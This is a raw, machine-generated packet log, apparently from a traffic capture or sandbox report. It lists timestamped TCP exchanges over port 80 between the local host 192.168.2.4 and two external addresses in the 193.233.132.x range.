Apr 18, 2024 23:40:04.884526968 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.884548903 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.884562969 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.884584904 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.884598017 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.884624004 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.884641886 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.884663105 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.884680986 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.884699106 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.884716034 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.884736061 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.884752035 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.884772062 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.884783983 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.884808064 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.884824038 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.884848118 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.884861946 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.884884119 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.884896994 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.884921074 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.884932995 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.884958029 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.884969950 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.884994030 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.885008097 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.885032892 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.885046005 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.885070086 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.885082960 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.885107040 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.885129929 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.885143042 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.885157108 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.885179996 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.885191917 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.885219097 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.885232925 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.885256052 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.885271072 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.885292053 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.885304928 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.885328054 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.885340929 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.885365963 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.885376930 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.885406017 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.885421038 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.885445118 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.885462046 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.885483980 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.885499954 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.885520935 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.885540962 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.885555983 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.885575056 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.885592937 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.885612965 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.885631084 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.885648012 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.885667086 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.885687113 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.885704041 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.885719061 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.885757923 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:05.115879059 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.115921974 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.115957975 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.115958929 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.116030931 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.116044998 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.116055012 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.116086960 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.116139889 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.116139889 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.116151094 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.116189003 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.116225958 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.116226912 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.116226912 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.116261005 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.116275072 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.116298914 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.116321087 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.116341114 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.116349936 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.116377115 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.116404057 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.116411924 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.116441965 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.116447926 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.116485119 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.116512060 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.116512060 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.116523981 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.116545916 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.116578102 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.116589069 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.116615057 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.116643906 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.116652966 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.116672993 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.116707087 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.116743088 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.116750002 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.116750002 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.116777897 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.116813898 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.116848946 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.116853952 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.116853952 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.116853952 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.116885900 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.116895914 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.116938114 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.116954088 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.116966009 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.116967916 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.116983891 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.116986036 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.117053986 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.117058992 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.117058992 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.117069006 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.117084026 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.117090940 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.117100954 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.117113113 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.117113113 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.117126942 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.117135048 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.117141008 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.117171049 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.117185116 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.117197990 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.117197990 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.117197990 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.117199898 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.117213011 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.117228031 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.117238045 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.117238045 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.117242098 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.117254972 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.117269039 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.117285013 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.117286921 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.117286921 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.117286921 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.117299080 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.117310047 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.117314100 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.117355108 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.117369890 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.117369890 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.117369890 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.117407084 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.117444038 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.117456913 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.117458105 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.117480040 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.117495060 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.117516041 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.117552042 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.117588997 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.117593050 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.117593050 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.117593050 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.117624044 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.117659092 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.117693901 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.117697954 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.117697954 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.117697954 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.117729902 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.117763996 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.117799044 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.117804050 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.117804050 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.117804050 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.117834091 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.117870092 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.117904902 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.117909908 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.117909908 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.117909908 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.117940903 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.117976904 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.117979050 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.117979050 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.118026018 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.118062019 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.118065119 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.118065119 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.118098021 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.118136883 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.118171930 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.118175030 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.118175030 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.118175030 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.118206978 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.118242025 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.118277073 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.118280888 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.118280888 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.118280888 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.118311882 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.118346930 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.118370056 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.118370056 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.118381977 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.118417025 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.118453026 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.118458033 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.118458033 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.118458033 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.118488073 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.118509054 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.118524075 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.118558884 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.118593931 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.118596077 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.118596077 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.118596077 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.118629932 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.118664980 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.118670940 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.118671894 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.118700027 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.118735075 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.118769884 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.118772030 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.118772030 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.118772030 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.118807077 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.118808031 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.118841887 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.118846893 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.118877888 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.118912935 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.118947983 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.118952036 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.118952036 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.118952036 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.118983030 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.118983984 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.119018078 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.119054079 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.119056940 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.119056940 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.119090080 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.119126081 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.119163036 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.119163036 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.119163036 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.119163036 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.119199991 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.119235039 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.119237900 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.119237900 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.119271040 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.119306087 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.119307995 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.119307995 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.119340897 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.119375944 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.119410992 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.119416952 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.119416952 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.119416952 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.119446993 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.119482994 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.119517088 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.119518995 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.119518995 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.119518995 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.119553089 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.119587898 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.119606972 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.119606972 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.119622946 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.119646072 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.119658947 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.119693995 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.119728088 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.119745016 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.119745016 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.119745016 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.119762897 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.119797945 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.119800091 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.119800091 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.119832039 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.119867086 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.119900942 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.119900942 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.119900942 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.119901896 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.119939089 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.119973898 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.120008945 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.120008945 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.120008945 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.120009899 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.120048046 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.120060921 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.120084047 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.120127916 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.120127916 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.120137930 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.120173931 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.120208025 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.120208025 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.120208025 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.120244026 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.120297909 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.120332003 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.120332003 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.120332003 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.120332956 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.120368004 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.120390892 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.120403051 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.120438099 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.120474100 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.120508909 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:05.120517015 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.120517015 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.120517015 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.120541096 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.120541096 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:05.120544910 CEST	80	49738	193.233.132.56	192.168.2.4
